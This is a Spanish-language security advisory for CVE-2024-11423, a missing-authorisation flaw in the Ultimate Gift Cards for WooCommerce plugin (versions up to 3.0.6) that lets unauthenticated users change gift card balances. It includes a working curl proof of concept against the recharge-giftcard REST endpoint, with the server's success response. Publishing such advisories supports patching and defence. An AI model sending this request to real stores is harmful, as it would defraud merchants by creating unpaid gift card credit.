CVE-2024-11423

Ultimate Gift Cards para WooCommerce <= 3.0.6 - Falta de autorización para el glitch de dinero infinito

Descripción

El plugin Ultimate Gift Cards para WooCommerce – Crea tarjetas de regalo para WooCommerce, vales de regalo, canjea y gestiona cupones digitales de regalo. Ofrece certificados de regalo, programa tarjetas de regalo y usa cupones avanzados con plantillas personalizadas – es vulnerable a la modificación no autorizada de datos debido a la falta de una comprobación de capacidades en varios endpoints de la API REST, como /wp-json/gifting/recharge-giftcard, en todas las versiones hasta la 3.0.6 inclusive. Esto hace posible que atacantes no autenticados recarguen el saldo de una tarjeta de regalo sin realizar un pago, además de reducir los saldos de las tarjetas de regalo sin comprar nada.

Detalles

• Tipo: plugin
• Slug: woo-gift-cards-lite
• Versión afectada: 3.0.6
• Puntuación CVSS: 7.5
• Clasificación CVSS: Alta
• Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
• CVE: CVE-2024-11423
• Estado: Activo

POC

curl -X POST \
  https://wp-dev.ddev.site/wp-json/gifting/recharge-giftcard \
  -H 'Content-Type: application/json' \
  -d '{"coupon_code": "CUQP4C9M", "recharge_amount": "100.00", "coupon_expiry": "2027-12-31", "usage_limit": "511"}'


{"code":"success","message":"Coupon is successfully Recharged","data":{"status":200,"remaining_amount":120,"discount_type":"fixed_cart","usage_count":0,"usage_limit":"511","description":"","coupon_expiry":"2027-12-31"}}